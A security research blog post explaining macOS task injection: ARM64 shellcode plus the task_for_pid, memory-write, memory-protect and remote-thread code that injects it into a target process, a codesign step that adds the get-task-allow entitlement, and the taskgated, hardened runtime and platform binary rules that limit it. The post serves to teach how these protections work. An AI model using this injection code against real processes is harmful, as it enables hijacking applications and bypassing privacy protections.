Task Injection on macOS

Karol Mazurek

This is an expansion article for my previous work about Mach IPC Security on macOS, where I described the concept of Tasks and Processes and how they are interconnected on macOS.

Although I introduced the security of the Mach, I did not show how the attacker could leverage access to it. In this article, I will show the Task Injection and some security rules that protect from it. You can also learn here how lldb utilizes debugserver on macOS to debug processes and a few red tricks.

Enjoy!

Task Injection Coding

Task injection requires acquiring a task port, precise memory management, and executing arbitrary code within the target process. To inject this arbitrary code we must prepare it in ARM assembly.

Injecting this shellcode into a target process involves several steps after acquiring the task port of the target process. I implemented them in the map_memory and inject_code functions in my code.

Shellcode for macOS

The provided shellcode demonstrates a simple way to create a file /tmp/research_success, write the string “pwn\n” to it, and exit cleanly. Here’s a breakdown of its purpose and structure:

  • Creating the File: Uses the open() system call to create the file at the specified path.
  • Writing Data: Calls the write() system call to write a predefined string to the file.
  • Exiting: Cleans up using the exit() system call.
__attribute__((naked)) void shellcode() {
    __asm__(
        // Set up our stack frame - allocate 32 bytes
        "sub sp, sp, #0x20\n"

        // Open a file
        // The adr instruction loads the address of our filename relative to the current position
        "adr x0, 1f\n"                  // Load filename into x0 (first argument)
        "mov x1, #0x601\n"              // Flags: O_CREAT|O_WRONLY|O_TRUNC
        "mov x2, #0666\n"               // File permissions: rw-rw-rw-
        "mov x16, #5\n"                 // System call number for open()
        "svc #0x80\n"                   // Make the system call
        
        // Write to the file
        "mov x19, x0\n"                 // Save file descriptor for later
        "adr x1, 2f\n"                  // Load address of content to write
        "mov x2, #4\n"                  // Length of content (including newline)
        "mov x16, #4\n"                 // System call number for write()
        "svc #0x80\n"
        
        // Exit cleanly
        "mov x0, #0\n"                  // Exit code 0
        "mov x16, #1\n"                 // System call number for exit()
        "svc #0x80\n"
        
        // Data section
        ".align 4\n"                             // Align data to 4-byte boundary
        "1: .asciz \"/tmp/research_success\"\n"  // Null-terminated filename
        "2: .asciz \"pwn\\n\"\n"                 // Content to write
    );
}

The __attribute__((naked)) compiler attribute ensures no extraneous function prologue or epilogue is added, preserving full control over the generated assembly. It is also vital to align data structures (".align 4\n") in memory to ensure compatibility with the ARM64 architecture.

Step 1: Acquiring the Task Port of the Target Process

The task port is the key to interacting with the target process. We can get it by using task_for_pid function, which requests the task port for the specified process ID.

// Get a task port for the target process
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
  • mach_task_self() refers to the task port of the calling process.
  • target_pid is the process ID of the target we want to interact with.
  • task will hold the task port for the target process if the function succeeds.

This is a critical step that is secured by taskgated. Any of the following steps will not work without it.

Step 2: Allocating Memory in the Target Process

After that, memory must be allocated in the target process’s address space to store the shellcode. For this task we can use mach_vm_allocate which creates a writable memory region in the target process.

// Allocate memory in the target process
// VM_FLAGS_ANYWHERE lets the kernel choose a suitable address
kr = mach_vm_allocate(task, addr, aligned_size, VM_FLAGS_ANYWHERE);
  • task: The target process’s task port.
  • addr: A pointer to the base address of the allocated memory.
  • aligned_size: The size of the allocation, aligned to the system’s page size.
  • VM_FLAGS_ANYWHERE: Lets the kernel choose the address for the allocation.

Step 3: Writing Shellcode into Allocated Memory

The next step is to write the shellcode into the allocated memory region with mach_vm_write which copies the shellcode to the allocated memory in the target process.

// Copy our shellcode into the allocated memory
kr = mach_vm_write(task, *addr, (vm_offset_t)data, size);
  • task: The task port of the target process.
  • addr: The address of the allocated memory in the target process.
  • data: A pointer to the shellcode.
  • size: The size of the shellcode.

Step 4: Setting Executable Permissions on Allocated Memory

The allocated memory region must have the correct permissions for the shellcode to execute. The mach_vm_protect changes the protection attributes of the allocated memory.

// Set the memory permissions to allow execution
// We need both read and execute permissions for the code to run
kr = mach_vm_protect(task, *addr, aligned_size, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
  • task: The task port of the target process.
  • addr: The address of the allocated memory.
  • aligned_size: The size of the memory region.
  • VM_PROT_READ | VM_PROT_EXECUTE: Grants read and execute permissions.

Step 5: Creating a New Thread in the Target Process

To execute the shellcode, a new thread is created in the target process, with its instruction pointer set to the shellcode’s address. This can be achieved with thread_create_running:

// Set up the initial register state for our new thread
arm_thread_state64_tarm_thread_state64_t thread_state = {0};
thread_state.__pc = remote_code;                       // Program counter - where to start executing
thread_state.__sp = (remote_code + 0x1000) & ~0xFULL;  // Stack pointer - aligned to 16 bytes
thread_state.__x[29] = thread_state.__sp;              // Frame pointer
    
// Create and start a new thread in the target process
thread_act_t new_thread;
kr = thread_create_running(task, ARM_THREAD_STATE64,(thread_state_t)&thread_state, ARM_THREAD_STATE64_COUNT, &new_thread);
  • task: The task port of the target process.
  • ARM_THREAD_STATE64: Specifies the architecture and thread state.
  • thread_state: Defines the initial state of the thread (e.g., instruction pointer, stack pointer).
  • new_thread: A handle to the newly created thread.

Thread State

The remote_code the address specifies the starting point for execution. It is determined during memory allocation and points to the shellcode copied into the target process’s memory. Setting this ensures the program counter begins execution at the shellcode entry point.

Aligning the stack pointer to a 16-byte boundary is required by the ARM64 ABI to ensure proper function call behavior and compatibility with system expectations.

In ARM64, `x29` is the frame pointer. Initializing it to the stack pointer ensures a consistent call stack setup for the newly created thread.

Full Execution Flow

Here is the summary of the whole flow of the Task Injection. In the second part of the article, we will test how it works against different targets on macOS.

  1. The user specifies the target PID.
  2. The program acquires the task port using task_for_pid.
  3. Memory is allocated in the target process.
  4. The shellcode is written into the allocated memory.
  5. Memory permissions are set to executable.
  6. A new thread is created in the target process to execute the shellcode.

The full code can be found in the Snake_Apple/X. NU/custom/mach_ipc/task_for_pid_inject.c

Task Injection Overview

Task injection on macOS involves acquiring the target process’s task port (mach_port_t) to execute arbitrary code in its address space. Once the task port is obtained, we can typically:

However, first, we need to acquire a process task port to do that.

Task Port Security

Acquiring another process’s task port is controlled by the task_for_pid function, which is gated by taskgated. This checks for appropriate entitlements and user privileges. Key rules include:

  • Root Privileges: A root user can inject code into any non–Apple platform binary that does not have a hardened runtime flag.
  • Entitlement-Based Access:
    • If a target process has the com.apple.security.get-task-allow entitlement or any same-user process can obtain its task port.
    • A process with the com.apple.system-task-ports entitlement can access task ports of other processes, except for the kernel (PID 0).
    • A process with com.apple.private.cs.debugger can inject into the same-user level process that is not hardened.
  • Kernel Task Port: Accessing the kernel’s task port (task_for_pid(0)) grants full system control.

The logic behind allowing task_for_pid exists in /usr/libexec/taskgated exactly in MIG subsystem 27000. We can get its address using CrimsonUroboros --mig parser:

It is not easy to analyze as most of the symbols are stripped. I will write a separate article about it.

task_for_pid alternative

Once we have compromised a target process, we have full control over its memory and execution. In such case, if we want to get access to the compromised process task port, we do not need to use task_for_pid. Task ports can also be transferred manually by the process we compromised using:

Using task ports at that stage might not provide any additional benefit unless we need to enable another process to control the compromised one, and we want to achieve it through the task port.

Hardened Runtime and Platform Binaries

Even root cannot inject into processes that combine Apple platform binary + Hardened Runtime unless specialized entitlements or kernel-level exploits are used.

  • Apple platform binaries (is_platform_binary == 1) for example launchd and others signed directly by Apple are protected from task_for_pid
codesign -v -v --test-requirement "=anchor apple" BINARY_TO_CHECK
  • Hardened Runtime protects from code injection by enforcing strict codesigning (the injected code must be signed with the same certificate as the process binary we inject).

From the security point of view is_platform_binary protection against the root is very important as such a possibility would bypass the Systems Integrity Protection of macOS. On the other hand, the Hardened Runtime is important for TCC as it prevents root from modifying user apps.

Injecting User Processes

If we try to use our Task Injection program against the process we launch that is not hardened and does not have any entitlements, we will fail, as we are not running the injector as root:

In the log stream, we can see it would be possible if we are root, our program is declared debugger, or the target process has com.apple.security.get-task-allow entitlement. Let’s test for it.

Here, we will sign the crimson_server binary with the above-mentioned entitlement and try to inject it again from the same user-level access. First, we need to prepare the entitlements.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.security.get-task-allow</key>
    <true/>
</dict>
</plist>

Then, we need to sign the binary with these entitlements using the following codesign command:

codesign --entitlements entitlements.plist --force --sign - ./crimson_server

As we can see below, with this entitlement set, we can inject to the process even without root:

Debug Entitlemnt – lldb & debugserver

We can test the debugger scenario using lldb to attach to the crimson_server. We can see different log:

lldb -p $(pgrep crimson_server)
// kernel: Allowing set_exception_ports from [debugserver] on [crimson_server] for entitled process/debugger

The lldb does not have proper entitlement but relies on debugserver, a privileged process to interact with the target application. The debugserver has com.apple.private.cs.debugger entitlement, which grants debugging privileges to interact with protected processes:

However, this entitlement allows debugger injection only to the same user-level process. If we try to debug another user process, we will fail with:

error: attach failed: tried to attach to process as user 'karmaz' and process is running as user 'low_user'

Injecting as Root

If we try to use our Task Injection program as root against any process launched without a Hardened Runtime flag and is not platform binary, we will succeed:

Injecting the Hardened Runtime process is not possible, even if it is entitled:

However, it is totally fine to attach a debugger and control the execution flow. Below I attached lldb to the entitled process with Hardened Runtime and jump to the start of its main() to prove it:

To conclude, com.apple.security.get-task-allow entitlement is highly insecure and can be used by the attacker with root permission to hijack the execution flow of such apps. It would not introduce any risks on other systems, as the attackers had already gained root. Still, this design issue on macOS can bypass some TCC protections if the user grants the app additional permissions.

Apple Binaries, aka Platform Binaries

The last scenario is injecting to a platform binaries. Let’s try with taskgated:

As seen below, it is impossible, yet the log message suggests trying with lldb. This results in the error:

error: attach failed: attach failed (Not allowed to attach to process.  Look in the console messages (Console.app), near the debugserver entries, when the attach failed.  The subsystem that denied the attach permission will likely have logged an informative message about why it was denied.)

When we look at the log stream, we can see that only a read-only debugger can attach:

kernel: (AppleMobileFileIntegrity) macOSTaskPolicy: (com.apple.debugserver) may not get the task control port of (taskgated) (pid: 3762): (taskgated) is hardened, (taskgated) doesn't have get-task-allow, (com.apple.debugserver) is a declared debugger(com.apple.debugserver) is not a declared read-only debugger

This makes it impossible to control the execution flow of Apple-signed binaries, even from the root account. This effectively prevents code injections, which could allow bypassing SIP.

Final words

If this blog post interests you and you are interested in Cybersecurity in general, I encourage you to visit our AFINE blog regularly for new knowledge. If you are interested in macOS and want to learn more, bookmark the Snake_Apple repository, as any article I wrote will be listed there.

I hope you like it!

Karol Mazurek
Head of Research

Is your company secure online?

Join our list of satisfied customers and safeguard your company’s data!

Trust us and leave your contact details. Our team will contact you to discuss the details and prepare a tailor-made offer for you. Full discretion and confidentiality of your data are guaranteed.

Willing to ask a question immediately? Visit our Contact page.